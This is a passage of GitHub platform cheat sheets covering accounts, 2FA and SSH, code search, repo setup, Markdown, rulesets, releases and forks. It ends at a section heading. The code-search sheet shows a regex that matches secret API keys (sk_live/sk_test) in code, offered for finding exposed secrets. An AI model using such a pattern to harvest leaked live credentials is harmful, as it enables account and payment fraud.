GITHUB

CHEAT SHEETS

A Complete Reference for the GitHub Platform

Repositories · Issues · Pull Requests · Rulesets · Projects · Pages · Actions · Packages · Security · Codespaces · Copilot · APIs

93 REFERENCE SHEETS

CONTENTS

PLATFORM & COLLABORATION

01–05 Introduction & Setup
06–13 Repositories
14–17 Access & Collaboration
18–23 Issues
24–31 Pull Requests
32–35 Projects
36–37 Discussions & Community

GITHUB ACTIONS

38–39 GitHub Pages
40–42 Actions: Foundations
43–45 Actions: Triggers
46–52 Actions: Jobs, Runners & Steps
53–60 Actions: Expressions & Data
61–65 Actions: Security & Deployment
66–69 Actions: Reuse & Debugging

SECURITY, TOOLS & APIS

70–71 Packages
72–78 Security
79–81 Codespaces & Web Editing
82–85 Copilot
86–89 API & Integrations
90–93 Quick Reference

GITHUB

Table of Contents

93 sheets · syntax · examples · notes

INTRODUCTION & SETUP 01 – 05

01 Introduction & Mental …
02 Account & Profile Setup
03 Authentication: SSH, P…
04 Navigation, Shortcuts …
05 Searching GitHub

REPOSITORIES 06 – 13

06 Creating & Configuring…
07 Repo Files & Communi…
08 GitHub Flavored Markd…
09 Branches, Protection &…
10 Releases & Tags
11 Forks & Template Repos
12 Repository Insights
13 Size Limits, Archive & T…

ACCESS & COLLABORATION 14 – 17

14 Collaborators & Repo …
15 Organizations & Teams
16 CODEOWNERS
17 Tokens, Apps & Third-…

ISSUES 18 – 23

18 Issue Basics
19 Labels, Milestones & A…
20 Issue Templates & For…
21 Sub-issues, Issue Type…
22 Linking & Closing Issues
23 Issue Search & Triage

PULL REQUESTS 24 – 31

24 Pull Request Basics
25 Reviewing Pull Requests
26 Review Rules & Requir…
27 Merge Methods & Aut…
28 Merge Queues
29 PR Templates & Conve…
30 Conflicts & Updating B…
31 Status Checks

PROJECTS 32 – 35

32 Projects Basics
33 Project Fields & Views
34 Project Automation
35 Project Insights & Itera…

DISCUSSIONS & COMMUNITY 36 – 37

36 Discussions
37 Moderation, Sponsors …

GITHUB PAGES 38 – 39

38 Pages Setup & Custom…
39 Building & Deploying P…

ACTIONS: FOUNDATIONS 40 – 42

40 Actions: Introduction …
41 Actions: Your First Wor…
42 Actions: YAML for Wor…

ACTIONS: TRIGGERS 43 – 45

43 Actions: Push & Pull Re…
44 Actions: Manual & Sch…
45 Actions: Chained & Ot…

ACTIONS: JOBS, RUNNERS & STEPS 46 – 52

46 Actions: Jobs & Depen…
47 Actions: GitHub-Hoste…
48 Actions: Self-Hosted R…
49 Actions: Job & Service …
50 Actions: Run Steps & S…
51 Actions: Using Actions
52 Actions: Parallel & Bac…

ACTIONS: EXPRESSIONS & DATA 53 – 60

53 Actions: Expressions &…
54 Actions: Contexts
55 Actions: Functions & S…
56 Actions: Env Vars, Out…
57 Actions: Matrix Strategy
58 Actions: Concurrency …
59 Actions: Caching Depe…
60 Actions: Artifacts

ACTIONS: SECURITY & DEPLOYMENT 61 – 65

61 Actions: Secrets & Vari…
62 Actions: GITHUB_TOKE…
63 Actions: OIDC & Harde…
64 Actions: Environments …
65 Actions: Deploy & Rele…

ACTIONS: REUSE & DEBUGGING 66 – 69

66 Actions: Reusable Wor…
67 Actions: Composite Ac…
68 Actions: JavaScript & …
69 Actions: Debugging, Li…

PACKAGES 70 – 71

70 GitHub Packages & Co…
71 Package Access, Visibi…

SECURITY 72 – 78

72 Security Overview & P…
73 Dependency Graph & …
74 Dependabot Version &…
75 Code Scanning & Cod…
76 Secret Scanning & Pus…
77 Repository Security A…
78 Attestations & Supply …

CODESPACES & WEB EDITING 79 – 81

79 Codespaces Basics
80 Dev Containers
81 github.dev & Web Editi…

COPILOT 82 – 85

82 Copilot Plans & Setup
83 Copilot Chat & Custo…
84 Copilot Coding Agent
85 Copilot Code Review &…

API & INTEGRATIONS 86 – 89

86 REST API
87 GraphQL API
88 Webhooks
89 GitHub Apps

QUICK REFERENCE 90 – 93

90 Quick Reference — Se…
91 Quick Reference — Re…
92 Quick Reference — Act…
93 Quick Reference — Act…

Sheet 01

Introduction & Mental Model

Git vs GitHub · accounts / orgs / enterprises · repos · plans (Free / Pro / Team / Enterprise) · github.com vs GHES

WHAT GITHUB ADDS TO GIT

Git is the version-control tool on your machine; **GitHub** is the hosted platform built around Git repositories. On top of storing repos it adds collaboration (Issues, Pull Requests, Discussions), planning (Projects), automation (Actions), hosting (Pages, Packages), security scanning, cloud dev environments (Codespaces) and AI help (Copilot). Everything belongs to an **account**: a personal user or an **organization**, optionally grouped under an **enterprise**.

GOOD TO KNOW

- Git commands live in the Git CLI set; this set is the platform
- Repo URL shape: `github.com/OWNER/REPO`
- Most features work on Free; plans add private-repo features and limits

WHO CAN DO THIS

- **Role:** anyone with a GitHub account
- **Plan:** Free
- **Repos:** public and private

GETTING ORIENTED

1. Sign up at **github.com** and verify your email
2. Turn on **two-factor authentication** (required to contribute code)
3. Add an **SSH key** or sign in with HTTPS + a credential manager
4. Create or fork a **repository** (Sheets 06, 11)
5. Open an **issue**, push a branch, open a **pull request**
6. Add a **workflow** in `.github/workflows/` for CI (Sheet 40)

MAIN PLACES

PLACE	WHAT'S THERE
`Dashboard (github.com)`	feed, recent repos, Copilot
`Repo tabs`	Code · Issues · PRs · Actions · Projects · Security · Insights · Settings
`Profile → Settings`	account, SSH keys, tokens, billing
`Org page → Settings`	members, teams, policies
`Notifications (bell)`	inbox of mentions and activity

ACCOUNT TYPES

TYPE	WHAT IT IS
`Personal account`	you; owns personal repos
`Organization`	shared owner for team repos; members + teams
`Enterprise`	groups orgs under central policy and billing
`GitHub App / bot`	automation identity, e.g. `dependabot[bot]`

PLANS AT A GLANCE

PLAN	ADDS
`Free`	unlimited public/private repos, core features
`Pro`	personal: protected branches, insights on private repos
`Team`	org: required reviewers, CODEOWNERS enforcement on private
`Enterprise`	SSO, audit, environment rules on private, GHES option
`Add-ons`	Copilot · Advanced Security · Codespaces · runners

⚠ COMMON MISTAKES

- Treating GitHub as a backup of your machine: only what you commit and push is there
- Building team work under a personal account: transfer to an org early
- Assuming a doc screenshot matches your plan: many settings are plan-gated

✓ TIPS & BEST PRACTICES

- Create a free organization even for a solo portfolio; it separates projects from you
- Press `?` on any GitHub page to see its keyboard shortcuts
- GitHub Docs pages show a plan badge saying who gets each feature

QUICK SUMMARY

- Git — local tool · GitHub — hosted platform
- user · org · enterprise — account levels
- repo tabs — the main feature map
- plans — gate private-repo features

Sheet 02

Account & Profile Setup

username · emails · noreply address · profile README · pinned repos · status · contribution graph

YOUR IDENTITY ON GITHUB

Your **username** is your URL (`github.com/you`) and the name people @mention. **Emails** link commits to your account: a commit counts toward your profile only if its author email is a verified address on your account (or your `noreply` address). A **profile README** (a repo named exactly like your username) and **pinned repositories** make your profile a portfolio page.

PROFILE FACTS

- Changing your username breaks old profile links (repo links redirect)
- Private contributions can show as anonymous counts
- Keep email private: use `ID+user@users.noreply.github.com`

WHO CAN DO THIS

- **Role:** account owner
- **Plan:** Free
- **Repos:** account-wide

SET UP A STRONG PROFILE

1. **Settings → Public profile**: name, bio, pronouns, company, links
2. **Settings → Emails**: add + verify, tick **Keep my email addresses private**
3. Set Git to your noreply address: `git config --global user.email "ID+you@users.noreply.github.com"`
4. Create a repo named **your-username** with a README to get a profile README
5. Profile → **Customize your pins** (up to 6 repos or gists)
6. Set a **status** (emoji + text, optional busy flag)

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Public profile`	name, bio, social links
`Settings → Emails`	verified emails, privacy, push block
`Settings → Account`	rename, export data, delete
`Profile → Contribution settings`	show private contributions
`Settings → Appearance`	theme, tab size, emoji skin tone

CONTRIBUTION GRAPH COUNTS…

ACTIVITY	COUNTS WHEN
`Commits`	on default branch or gh-pages, verified email
`Issues / PRs`	opened in a non-fork repo
`Reviews`	submitted PR reviews
`Discussions`	opened or answered
`Forks`	commits count only after merged upstream

PORTFOLIO CHECKLIST

ITEM	WHY
`Profile README`	intro, stack, links
`Pinned repos`	best 4–6 projects first
`Repo About + topics`	searchable, readable cards
`Screenshots / demo links`	show it working in seconds
`Real commit email`	graph fills in correctly

⚠ COMMON MISTAKES

- Committing with a work or unverified email: commits don't link to you and the graph stays empty
- Turning on **Block command line pushes that expose my email** without updating `user.email`: pushes get rejected
- Renaming your account right before a job search: old links on your résumé 404

✓ TIPS & BEST PRACTICES

- Find your noreply address under **Settings → Emails**
- Use the profile README for a short intro, current focus and contact links
- Add `topics` to every pinned repo; they show as tags

QUICK SUMMARY

- username — your URL and @handle
- verified email — links commits to you
- `username/username` repo — profile README
- pins — your portfolio shelf

Sheet 03

Authentication: SSH, Passkeys & 2FA

2FA (TOTP / passkeys / security keys) · recovery codes · SSH keys · signing keys · HTTPS + tokens · sudo mode

PROVING IT'S YOU

Signing in to the website uses your password plus **two-factor authentication** (2FA): an authenticator app, a **passkey**, a security key, or GitHub Mobile. Git operations use a separate credential: an **SSH key** or, over HTTPS, a **token** stored by a credential manager. Passwords never work for Git over HTTPS. **Signing keys** (SSH or GPG) add a **Verified** badge to commits.

AUTH FACTS

- 2FA is required for accounts that contribute code on github.com
- Save **recovery codes**; support can't bypass 2FA for you
- One SSH key can be both an auth key and a signing key

WHO CAN DO THIS

- **Role:** account owner
- **Plan:** Free
- **Repos:** account-wide

SECURE YOUR ACCOUNT

1. **Settings → Password and authentication → Enable 2FA**; scan with an authenticator app
2. Download the **recovery codes** and store them in a password manager
3. Add a **passkey** for passwordless sign-in
4. `ssh-keygen -t ed25519 -C "you@example.com"`, then paste the `.pub` in **SSH and GPG keys → New SSH key**
5. Test: `ssh -T git@github.com`
6. Add the same key again as type **Signing Key** and set `git config gpg.format ssh`

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Password and authentication`	2FA, passkeys, recovery codes
`Settings → SSH and GPG keys`	auth + signing keys, vigilant mode
`Settings → Sessions`	signed-in devices; revoke
`Settings → Developer settings`	tokens (Sheet 17)
`Settings → Security log`	sign-ins, key changes

2FA METHODS

METHOD	NOTES
`Passkey`	phishing-resistant; can replace password + 2FA
`Security key`	hardware (YubiKey); phishing-resistant
`Authenticator app (TOTP)`	6-digit codes; most common
`GitHub Mobile`	approve sign-in prompts
`SMS`	fallback only; weakest

GIT CREDENTIALS

WAY	USE
`SSH key`	`git@github.com:owner/repo.git`
`HTTPS + Git Credential Manager`	browser sign-in, stores a token
`HTTPS + PAT`	scripts and CI outside Actions
`GITHUB_TOKEN`	inside Actions only
`Deploy key`	read-only SSH key for one repo

⚠ COMMON MISTAKES

- Losing your phone with no recovery codes or backup method: you can be locked out for good
- Typing your GitHub password at a Git HTTPS prompt: it's rejected; use a token or GCM
- Uploading the **private** key (`id_ed25519`) instead of the `.pub` file

✓ TIPS & BEST PRACTICES

- Register at least two 2FA methods (passkey + app)
- Turn on **vigilant mode** so unsigned commits show **Unverified**
- Review **Sessions** and SSH keys once a quarter; remove old laptops

QUICK SUMMARY

- 2FA / passkeys — web sign-in
- SSH key or token — Git operations
- signing key — Verified commits
- recovery codes — your only way back in

Navigation, Shortcuts & Notifications

MOVING FAST AND STAYING INFORMED

GitHub is very keyboard-friendly: the **command palette** (`Ctrl`+K / ⌘K) jumps to any repo, file or command, `t` opens the file finder, and `.` opens the current repo in the browser editor. **Notifications** arrive when you're mentioned, assigned, review-requested or **watching** a repo; the inbox at `github.com/notifications` filters them by reason.

NOTIFICATION FACTS

- **Participating** = you were involved; **Watching** = everything in the repo
- Watch → **Custom** picks events: issues, PRs, releases, discussions
- Email routing per org: Settings → Notifications → Custom routing

WHO CAN DO THIS

- **Role:** anyone signed in
- **Plan:** Free
- **Repos:** public and private

TAME YOUR INBOX

1. Repo → **Watch** → **Participating and @mentions** for busy repos
2. Use **Custom** → **Releases** for libraries you depend on
3. In the inbox, filter `reason:review-requested` or `reason:mention`
4. **Done** (`e`) clears; **Save** (`s`) keeps for later
5. **Unsubscribe** from a thread you don't care about anymore
6. Settings → Notifications: pick web vs email per type

WHERE TO FIND IT

PATH	CONTROLS
`Bell icon / github.com/notifications`	inbox, filters, Done
`Repo → Watch`	per-repo subscription level
`Settings → Notifications`	delivery: web, email, mobile
`Command palette (Ctrl/⌘ K)`	jump anywhere
`? on any page`	shortcut list for that page

SHORTCUTS WORTH KNOWING

KEY	DOES
`Ctrl/⌘ K`	command palette
`t`	file finder in a repo
`. / >`	open github.dev (same / new tab)
`y`	permalink (pin URL to the commit SHA)
`g i / g p`	go to Issues / Pull requests
`/ or s`	focus search

INBOX FILTERS

FILTER	SHOWS
`reason:mention`	@you
`reason:team-mention`	@org/team you're in
`reason:review-requested`	PR reviews waiting on you
`reason:assign`	assigned to you
`is:unread / is:saved`	state filters

⚠ COMMON MISTAKES

- Watching **All Activity** on big repos: the inbox becomes useless
- Sharing branch URLs for code lines: they drift; press `y` for a permalink
- Ignoring team mentions: you get them for every team you're on

✓ TIPS & BEST PRACTICES

- Save custom inbox filters (e.g. `reason:review-requested is:unread`)
- Use the GitHub Mobile app to triage notifications in spare minutes
- Ctrl/⌘ K then `>` switches to command mode (e.g. change theme)

QUICK SUMMARY

- Ctrl/⌘ K — palette · `t` — file finder
- `.` — web editor · `y` — permalink
- Watch level — controls noise
- inbox filters — `reason:` and `is:`

Sheet 05

Searching GitHub

code search · `repo:` / `org:` / `path:` / `language:` · regex `/…/` · symbol search · repo / user search · saved searches

FINDING CODE, ISSUES AND REPOS

The search bar accepts **qualifiers** that narrow results: `repo:`, `org:`, `path:`, `language:` and more. **Code search** understands exact strings, regular expressions in `/slashes/`, boolean `AND`/`OR`/`NOT` and **symbol** search for definitions. Issues, PRs, repos and users each have their own qualifiers (Sheet 23 covers issues). Code search requires being signed in.

SEARCH FACTS

- Default search scope is the current repo or org when you're inside one
- Code search covers default branches; files over ~350 KB aren't indexed
- Save frequent searches in the search bar dropdown

WHO CAN DO THIS

- **Role:** anyone signed in (code search)
- **Plan:** Free
- **Repos:** public + private you can read

CODE SEARCH QUERIES

```
# Exact phrase in one repo
repo:octo-org/shop "def charge("

# Language + path filters
org:octo-org language:python path:tests/ fixture

# Regex (slashes) and boolean logic
/sk_(live|test)_[A-Za-z0-9]{24}/ NOT path:*.md

# Symbol definitions
symbol:parse_invoice language:go

# Files by name or extension
path:**/Dockerfile FROM node
path:*.tf aws_s3_bucket

# Repositories
topic:cheatsheet stars:>50 pushed:>2026-01-01
```

CODE EXPLAINED

- → `"…"` — exact text, including punctuation
- → `/regex/` — RE2 syntax, case-sensitive by default
- → `NOT path:*.md` — exclude matches
- → `symbol:` — definitions, not usages
- → `stars:>50 pushed:>date` — repo filters

CODE QUALIFIERS

QUALIFIER	MATCHES
`repo: / org: / user:`	scope
`path:`	file path glob (`path:src/**/*.ts`)
`language:`	detected language
`content:`	file contents only (not path)
`is:archived / is:fork`	repo state

REPO & USER QUALIFIERS

QUALIFIER	EXAMPLE
`stars: / forks:`	`stars:100..500`
`topic: / language:`	`topic:cli language:rust`
`pushed: / created:`	`pushed:>2026-06-01`
`good-first-issues:`	`good-first-issues:>3`
`type:user / followers:`	user search

⚠ COMMON MISTAKES

- Searching for secrets in public code and pasting what you find into issues: report privately instead
- Forgetting the default scope: you're searching only this repo when you meant all of GitHub
- Expecting non-default branches to show up in code search

✓ TIPS & BEST PRACTICES

- Click a result's symbol to see definitions and references across the repo
- Bookmark search URLs: every query is in the `?q=` parameter
- Combine `org:` + `path:` to find every repo using a config pattern

QUICK SUMMARY

- qualifiers — `repo:` `org:` `path:` `language:`
- `/regex/` and `AND/OR/NOT` — precise code search
- `symbol:` — find definitions
- repo qualifiers — stars, topics, dates

Creating & Configuring Repos

new repo · visibility public / private / internal · About + topics · Settings → General · features toggles · default branch

STARTING A REPOSITORY

New repository asks for an owner (you or an org), a name, **visibility** and optional starter files (README, `.gitignore` template, license). After that, **Settings → General** controls the repo's features (Issues, Projects, Wiki, Discussions), merge options (Sheet 27) and danger-zone actions. The **About** box on the Code tab sets the description, website and **topics** shown in search.

VISIBILITY

- **Public** — anyone can see; **Private** — only people you add
- **Internal** — every member of your enterprise (Enterprise only)
- Changing private → public exposes full history; scan for secrets first

WHO CAN DO THIS

- **Role:** account owner, or org member allowed to create repos
- **Plan:** Free (internal needs Enterprise)
- **Repos:** public and private

CREATE AND CONFIGURE

1. **+ → New repository**; choose owner, name, visibility
2. Add a README, `.gitignore` template and license (or push an existing repo)
3. Code tab → **About** ⚙: description, website, **topics**
4. **Settings → General → Features**: turn off unused tabs (Wiki, Projects)
5. **Pull Requests**: pick allowed merge methods, auto-delete head branches
6. **Rules → Rulesets**: protect `main` (Sheet 09)

AUTOMATE IT

Change settings from a script (REST)

```
curl -X PATCH -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/OWNER/REPO \
  -d '{"has_wiki":false,"delete_branch_on_merge":true}'
```

WHERE TO FIND IT

PATH	CONTROLS
`+ → New repository`	create, import, template
`Code tab → About ⚙`	description, topics, website
`Settings → General`	name, features, merge buttons
`Settings → Danger Zone`	visibility, transfer, archive, delete
`+ → Import repository`	copy from another Git host

FEATURE TOGGLES

FEATURE	TURN OFF WHEN
`Issues`	tracking happens elsewhere
`Wikis`	docs live in the repo
`Projects`	you use org-level projects
`Discussions`	off by default; enable for Q&A
`Sponsorships`	only with a FUNDING.yml

NAMING TIPS

DO	WHY
`lowercase-with-dashes`	clean URLs, no case issues
`describe the thing`	`invoice-parser` beats `project2`
`add topics`	discoverable in search
`rename freely`	GitHub redirects old URLs

⚠ COMMON MISTAKES

- Initializing with a README when you plan to push an existing repo: unrelated histories on first push
- Flipping a repo public without checking history for keys and `.env` files
- Leaving every tab on: empty Wiki and Projects tabs look abandoned

✓ TIPS & BEST PRACTICES

- Use a **template repo** (Sheet 11) for repeatable project setups
- Set `delete_branch_on_merge` on every repo; stale branches pile up fast
- Terraform's `github` provider manages repo settings as code for whole orgs

QUICK SUMMARY

- New repository — owner, name, visibility
- About — description + topics
- Settings → General — features + merge options
- Danger Zone — visibility, transfer, delete

Sheet 07

Repo Files & Community Health

README · LICENSE · CONTRIBUTING · CODE_OF_CONDUCT · SECURITY.md · SUPPORT · `.github` repo defaults · community profile

FILES GITHUB TREATS SPECIALLY

Certain files change how GitHub presents and runs your repo. A **README** renders on the Code tab; a **LICENSE** is detected and shown in the sidebar; `CONTRIBUTING`, `CODE_OF_CONDUCT`, `SECURITY` and `SUPPORT` are linked when people open issues and PRs. They can live in the root, `docs/` or `.github/`, and an org-wide **`.github` repository** supplies defaults for every repo that lacks its own.

COMMUNITY PROFILE

- Insights → **Community Standards** checks which files exist
- README lookup order: `.github/`, root, then `docs/`
- The org `.github` repo must be **public** to supply defaults

WHO CAN DO THIS

- **Role:** Write (to commit files)
- **Plan:** Free
- **Repos:** public and private

A WELL-FURNISHED REPO

```
my-project/
├── README.md                # renders on the Code tab
├── LICENSE                  # detected → sidebar badge
├── CHANGELOG.md
├── .github/
│   ├── CODEOWNERS               # Sheet 16
│   ├── CONTRIBUTING.md          # linked on new issue / PR
│   ├── CODE_OF_CONDUCT.md
│   ├── SECURITY.md              # Security tab → policy
│   ├── SUPPORT.md
│   ├── FUNDING.yml              # Sponsor button (Sheet 37)
│   ├── ISSUE_TEMPLATE/          # Sheet 20
│   ├── pull_request_template.md  # Sheet 29
│   ├── dependabot.yml           # Sheet 74
│   └── workflows/               # Actions (Sheet 40)
└── docs/

octo-org/.github/            # ORG defaults for all repos
└── profile/README.md        # org profile page
```

CODE EXPLAINED

→ `.github/` — keeps the root tidy; GitHub looks here first

→ `LICENSE` — use the **Add file → license template** picker

→ `SECURITY.md` — tells reporters how to disclose privately

→ org `.github` repo — fallback health files for every repo

→ `profile/README.md` — the org's public landing page

HEALTH FILES

FILE	SHOWN WHERE
`README`	Code tab, repo cards
`CONTRIBUTING`	banner on new issue / PR
`CODE_OF_CONDUCT`	sidebar; report-abuse links
`SECURITY`	Security tab → Policy
`SUPPORT`	new-issue page link

COMMON LICENSES

LICENSE	IN SHORT
`MIT`	do anything, keep the notice
`Apache-2.0`	MIT + patent grant
`GPL-3.0`	derivatives must stay GPL
`none`	all rights reserved; others can't legally reuse

⚠ COMMON MISTAKES

- No LICENSE on a public repo: people can view but not legally reuse your code
- Private org `.github` repo: defaults silently don't apply
- README with only a title: visitors (and recruiters) leave in seconds

✓ TIPS & BEST PRACTICES

- Put a screenshot or GIF near the top of the README
- Relative links in README (`docs/setup.md`) work on GitHub and in clones
- Use `choosealicense.com` to pick a license quickly

QUICK SUMMARY

- README / LICENSE — rendered and detected
- health files — linked from issues and PRs
- `.github/` — home for repo config
- org `.github` repo — org-wide defaults

Sheet 08

GitHub Flavored Markdown

alerts > [!NOTE] · task lists · #123 / @user / SHA autolinks · tables · Mermaid · math $…$ · <details> · permalinks

MARKDOWN, GITHUB-STYLE

GitHub Flavored Markdown (GFM) extends CommonMark everywhere you write: READMEs, issues, PRs, comments, wikis and discussions. It adds tables, task lists, strikethrough and autolinks, plus GitHub-only features: **alerts**, #123 and @user references, **Mermaid** diagrams, **math**, collapsible <details> sections and rendered **GeoJSON/STL** files.

RENDERING NOTES

- Comments and READMEs share the renderer; `.md` files in repos too
- Task lists in issues track progress and can become sub-issues

WHO CAN DO THIS

- **Role:** anyone who can comment or commit
- **Plan:** Free
- **Repos:** public and private

GITHUB-ONLY SYNTAX

```
> [!NOTE]
> Useful information users should know.
> [!WARNING] …  [!TIP] …  [!CAUTION] …

- [x] Write tests
- [ ] Update docs  #42
Fixed in a1b2c3d by @octocat, see octo-org/api#17.

<details><summary>Stack trace</summary>

TypeError: x is undefined
</details>

$$E = mc^2$$  and inline $\sqrt{2}$

```mermaid
graph LR; A[Push] --> B[CI] --> C[Deploy]
```
```

CODE EXPLAINED

- → `> [!NOTE]` — alerts: NOTE, TIP, IMPORTANT, WARNING, CAUTION
- → `- [ ]` — task list; checkable in issues
- → `#42` / `@user` / SHA — autolinked references
- → `<details>` — collapsible block (blank line after `</summary>`)
- → `$…$` / `` `mermaid `` — math and diagrams

AUTOLINKED REFERENCES

WRITE	LINKS TO
`#42 / GH-42`	issue or PR in this repo
`owner/repo#42`	issue or PR in another repo
`@user / @org/team`	person / team (notifies)
`a1b2c3d (7+ chars)`	commit
`owner/repo@a1b2c3d`	commit in another repo

OTHER EXTRAS

SYNTAX	RESULT
`:rocket:`	emoji
`~~text~~`	strikethrough
`[^1] … [^1]: note`	footnotes
`diff / suggestion`	diff colors / PR suggestion

⚠ COMMON MISTAKES

- No blank line after `<summary>`: the Markdown inside `<details>` renders as plain text
- Linking to `blob/main/...` lines: they drift; use a permalink (`y`)
- Using alerts inside other blocks (lists, tables): they only work as top-level blockquotes

✓ TIPS & BEST PRACTICES

- Paste a URL onto selected text to make a link instantly
- Drag images into an issue comment to upload them; reuse the URL in READMEs
- The Markdown set covers core syntax; this sheet is the GitHub layer

QUICK SUMMARY

- alerts — `> [!NOTE]` and friends
- task lists — `- [ ]` progress
- autolinks — `#42`, `@user`, SHAs
- Mermaid, math, `<details>` — rich content

Sheet 09

Branches, Protection & Rulesets

rulesets · target branches / tags · require PR · required checks · block force push · bypass list · branch protection (classic)

GUARDING IMPORTANT BRANCHES

Rulesets (Settings → Rules) protect branches and tags: require pull requests and approvals, require status checks, block force pushes and deletions, require signed commits or linear history. Several rulesets can apply at once and their rules **stack**. A **bypass list** lets specific roles, teams or apps skip them. Classic **branch protection rules** still work, but rulesets are the newer, more flexible option.

RULESET FACTS

- Status: **Active**, **Evaluate** (log only, Enterprise) or **Disabled**
- Org rulesets can target many repos by name or property
- Anyone with Read can see the rules that apply to a branch

WHO CAN DO THIS

- **Role:** Admin (repo) · Org owner (org rulesets)
- **Plan:** Free for public; Pro/Team/Enterprise for private
- **Repos:** public and private (plan-dependent)

PROTECT MAIN WITH A RULESET

1. **Settings → Rules → Rulesets → New branch ruleset**
2. Name it, set **Enforcement: Active**
3. **Target branches → Include default branch**
4. Enable **Require a pull request** (1+ approvals, dismiss stale)
5. Enable **Require status checks** and add your CI job names
6. Keep **Block force pushes** + **Restrict deletions** on; add a bypass only if needed

AUTOMATE IT

Export / import rulesets as JSON

```
{ "name": "protect-main", "target": "branch",
  "enforcement": "active",
  "conditions": { "ref_name": {
    "include": ["~DEFAULT_BRANCH"], "exclude": [] } },
  "rules": [ { "type": "deletion" },
    { "type": "non_fast_forward" },
    { "type": "pull_request", "parameters": {
        "required_approving_review_count": 1 } } ] }
```

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Rules → Rulesets`	repo rulesets, import/export
`Org Settings → Repository → Rulesets`	org-wide rulesets
`Settings → Branches`	classic protection rules
`Rules → Insights`	who pushed, what was blocked
`Branch dropdown → shield icon`	rules on a branch

COMMON RULES

RULE	EFFECT
`Restrict deletions`	branch can't be deleted
`Block force pushes`	no history rewrites
`Require a pull request`	no direct pushes; approvals
`Require status checks`	CI must pass (Sheet 31)
`Require linear history`	squash/rebase merges only
`Require merge queue`	merges go through a queue (28)

RULESETS VS CLASSIC PROTECTION

TOPIC	RULESETS
`Multiple per branch`	yes; rules aggregate
`Org-wide targeting`	yes
`Tags`	yes (tag rulesets)
`Bypass list`	roles, teams, apps
`Evaluate mode`	yes (Enterprise)

⚠ COMMON MISTAKES

- Requiring a status check name that never runs on PRs: every PR stays blocked
- Adding yourself to the bypass list 'just in case': rules stop meaning anything
- Mixing classic rules and rulesets without checking both: both apply

✓ TIPS & BEST PRACTICES

- Use `~DEFAULT_BRANCH` so the ruleset follows a branch rename
- Add a **tag ruleset** on `v*` to stop tag moves and deletions
- Check **Rules → Insights** to see what a new ruleset blocked

QUICK SUMMARY

- rulesets — stackable branch/tag rules
- require PR + checks — the core guardrails
- bypass list — keep it tiny
- org rulesets — policy across repos

Releases & Tags

SHIPPING VERSIONS

A **release** is a Git tag plus a title, notes and optional binary **assets**, shown on the repo's Releases page. Releases can be **drafts** (hidden until published), **pre-releases**, or marked **latest**. **Generated release notes** list merged PRs and contributors since the previous tag, grouped by label through `.github/release.yml`. **Immutable releases** lock a published release's tag and assets.

RELEASE FACTS

- Source code zips are added automatically
- Each asset can be up to 2 GB
- Publishing a release triggers the `release` Actions event (Sheet 45)

WHO CAN DO THIS

- **Role:** Write
- **Plan:** Free
- **Repos:** public and private

GROUPING GENERATED NOTES

```yaml
# .github/release.yml
changelog:
  exclude:
    labels: [ignore-for-release, dependencies]
    authors: [dependabot]
  categories:
    - title: 🚀 Features
      labels: [feature, enhancement]
    - title: 🐾 Bug Fixes
      labels: [bug]
    - title: 📝 Other Changes
      labels: ["*"]
```

CODE EXPLAINED

- → `exclude.labels` — PRs with these labels are skipped
- → `categories` — sections in order; first match wins
- → `labels: ["*"]` — catch-all for everything else
- → used by **Generate release notes** and `--generate-notes`

AUTOMATE IT

Release from a tag push (Actions)

```yaml
on: { push: { tags: ["v*"] } }
# step: run: gh release create
#   "$GITHUB_REF_NAME" --generate-notes
```

RELEASE STATES

STATE	MEANING
Draft	only people with Write see it
Pre-release	flagged as not production-ready
Latest	shown first; `/releases/latest` URL
Immutable	tag + assets locked after publish

VERSION TAGS

TAG	WHEN
v1.4.0	new features, compatible
v1.4.1	bug fixes only
v2.0.0	breaking changes
v2.0.0-rc.1	release candidate (pre-release)

⚠ COMMON MISTAKES

- Moving or deleting a published tag: anyone pinned to it gets different code
- Forgetting to label PRs: generated notes land in 'Other Changes'
- Attaching build outputs made on a laptop: build release assets in CI instead

✓ TIPS & BEST PRACTICES

- Link `…/releases/latest/download/app.zip` for an always-latest download
- Turn on **immutable releases** in Settings for supply-chain safety
- Protect `v*` tags with a tag ruleset (Sheet 09)

QUICK SUMMARY

- release — tag + notes + assets
- draft / pre-release / latest — states
- `.github/release.yml` — group generated notes
- immutable releases — lock what shipped

Forks & Template Repos

COPYING REPOS THE RIGHT WAY

A **fork** is your own copy of someone else's repo that stays connected to it: you push to your fork and open pull requests back to the **upstream**. **Sync fork** pulls upstream changes in. A **template repository** is different: **Use this template** creates a brand-new repo with the same files but fresh history and no link back. Use forks to contribute; templates to start new projects.

FORK RULES

- Fork PRs run Actions with a read-only token and no secrets
- Private forks of private repos are deleted if access is removed
- Orgs can block forking of private repos

WHO CAN DO THIS

- **Role:** Read (to fork) · Admin (to make a template)
- **Plan:** Free
- **Repos:** public and private

CONTRIBUTE VIA A FORK

1. Upstream repo → **Fork** → **Create fork**
2. Clone your fork; add upstream: `git remote add upstream <url>`
3. Branch, commit, push to your fork
4. **Contribute** → **Open pull request** against upstream `main`
5. Tick **Allow edits by maintainers**
6. Before new work: **Sync fork** → **Update branch**

AUTOMATE IT

Sync a fork from a script (REST)

```
curl -X POST -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/ME/FORK/merge-upstream -d '{"branch":"main"}'
```

WHERE TO FIND IT

PATH	CONTROLS
Repo → Fork	create a fork
Fork → Sync fork	pull upstream changes
Settings → General → Template repository	make a template
Repo → Use this template	new repo from template
Insights → Forks	list of forks

FORK VS TEMPLATE

ASPECT	FORK · TEMPLATE
History	shared · fresh single commit
Link to source	yes · no
PRs back to source	yes · no
Branches copied	all (or default only) · optional
Best for	contributing · starting projects

FORK PR BEHAVIOR

TOPIC	DETAIL
Secrets	not available to fork PR runs
First-time contributors	workflows need approval
Maintainer edits	push to the PR branch if allowed
Discussion	happens on the upstream PR

⚠ COMMON MISTAKES

- Committing on your fork's `main`: your PR and fork drift; always branch
- Forking to start a new product: use a template or a fresh repo
- Expecting a fork's issues tab to collect bug reports: it's off by default

✓ TIPS & BEST PRACTICES

- Fork only the default branch unless you need others (checkbox on fork page)
- Template repos can include `.github/` workflows and issue templates
- Delete stale forks from your profile; they clutter your portfolio

QUICK SUMMARY

- fork — linked copy for PRs upstream
- Sync fork — catch up with upstream
- template — new repo, fresh history
- fork PRs — no secrets in Actions

Repository Insights

SEEING HOW A REPO IS USED

